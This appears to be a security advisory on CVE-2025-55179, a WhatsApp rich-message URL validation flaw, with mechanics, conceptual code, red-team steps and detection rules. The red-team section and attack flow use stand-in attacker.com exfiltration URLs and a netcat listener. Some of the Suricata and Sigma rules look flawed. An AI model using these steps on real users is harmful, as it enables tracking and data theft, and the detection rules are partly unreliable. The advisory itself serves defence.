CVE-2025-55179

Executive Summary

CVE-2025-55179 is a medium-severity vulnerability in WhatsApp for iOS, WhatsApp Business for iOS, and WhatsApp for Mac. The flaw resides in incomplete validation of rich response messages, allowing an attacker to craft a message that triggers the processing of media content from an arbitrary URL on the recipient’s device. This could lead to unauthorized data exfiltration or client-side attacks. The CVSS score is 5.4 (Medium), with a low EPSS score of 0.0%, indicating no active exploitation in the wild. No public proof-of-concept or exploit code is available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a client-side issue in proprietary WhatsApp applications.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must open the crafted message)
• Scope: Unchanged
• Confidentiality Impact: Low (potential data exfiltration)
• Integrity Impact: Low (potential manipulation of displayed content)
• Availability Impact: None

Threat Level: Medium. Exploitation requires user interaction and no public exploit exists, but the impact could allow arbitrary URL processing.

Deep Dive & Mechanics

The vulnerability exists in the handling of rich response messages (e.g., interactive message templates, quick replies, or list messages). When a user receives a rich response message, the client processes embedded URLs to fetch media content (images, videos, or previews). Due to incomplete validation, an attacker can inject an arbitrary URL that the client will fetch without proper sanitization.

Attack Flow:

1. Attacker crafts a rich response message containing a malicious URL (e.g., https://attacker.com/steal?data=...).
2. Victim receives the message and opens it (user interaction required).
3. WhatsApp client processes the message and attempts to fetch media from the attacker-controlled URL.
4. The fetch may include sensitive headers (e.g., cookies, tokens) or trigger a callback that exfiltrates data.

Root Cause: The client does not validate that the URL belongs to a trusted domain (e.g., WhatsApp’s CDN) before fetching. This allows SSRF-like behavior within the client’s context.

Vulnerable vs. Patched Code

No official patch diff is available. However, based on the description, the fix likely involves:

• Adding a domain whitelist for URLs in rich response messages.
• Validating that the URL scheme is HTTPS and the host is a known WhatsApp CDN.
• Sanitizing the URL before fetching.

Vulnerable Code (conceptual):

function processRichResponse(message) {
    let mediaUrl = message.mediaUrl;
    fetch(mediaUrl).then(response => {
        // process media
    });
}

Patched Code (conceptual):

function processRichResponse(message) {
    let mediaUrl = message.mediaUrl;
    if (isValidWhatsAppUrl(mediaUrl)) {
        fetch(mediaUrl).then(response => {
            // process media
        });
    } else {
        // reject or sanitize
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WhatsApp account (attacker and victim).
• A controlled server to receive requests (e.g., attacker.com).

Steps:

1. Set up a listener on your server: nc -lvnp 80 or use a webhook service.
2. Craft a rich response message with a media URL pointing to your server: https://attacker.com/collect.
3. Send the message to the victim via WhatsApp.
4. When the victim opens the message, the client will fetch the URL, and you will receive the request (including IP, User-Agent, etc.).

Note: No public exploit code exists. This is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor network logs for outbound connections to unknown domains from WhatsApp processes.
• Use endpoint detection to alert on WhatsApp processes making unexpected HTTP requests.

Hunting:

• Search for WhatsApp processes (com.whatsapp, WhatsApp) making connections to non-WhatsApp domains.
• Analyze rich response messages for suspicious URLs.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP/HTTPS requests from WhatsApp processes to unknown or suspicious domains.
• File: No specific file IOCs.
• Registry: N/A (mobile/desktop app).
• Behavior: WhatsApp client fetching media from non-WhatsApp CDN domains.

Detection Engineering

YARA Rule

rule CVE_2025_55179_WhatsApp_RichResponse {
    meta:
        description = "Detects suspicious URLs in WhatsApp rich response messages"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-55179"
    strings:
        $url_pattern = /https?:\/\/[^\s"]+/ 
        $whatsapp_domain = "whatsapp.net"
    condition:
        $url_pattern and not $whatsapp_domain
}

Sigma Rule

title: Suspicious WhatsApp Rich Response URL Fetch
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects WhatsApp client making HTTP requests to non-WhatsApp domains
author: Valters IT
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Image|endswith: 
            - '\WhatsApp.exe'
            - '\WhatsApp Business.exe'
        DestinationHostname|endswith: 
            - '.whatsapp.net'
            - '.fbcdn.net'
    condition: not selection
falsepositives:
    - Legitimate third-party integrations (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-55179 WhatsApp Rich Response Arbitrary URL Fetch"; flow:to_server; content:"User-Agent|3a| WhatsApp"; http_user_agent; content:"!whatsapp.net"; http_host; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update WhatsApp for iOS to v2.25.23.73 or later.
2. Update WhatsApp Business for iOS to v2.25.23.82 or later.
3. Update WhatsApp for Mac to v2.25.23.83 or later.

Compensating Controls:

• Restrict outbound network access from WhatsApp processes using firewall rules.
• Educate users not to open suspicious rich response messages.
• Monitor for anomalous network connections from WhatsApp clients.

Long-term:

• Implement strict URL validation in rich response message processing.
• Use a whitelist of allowed domains for media fetching.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert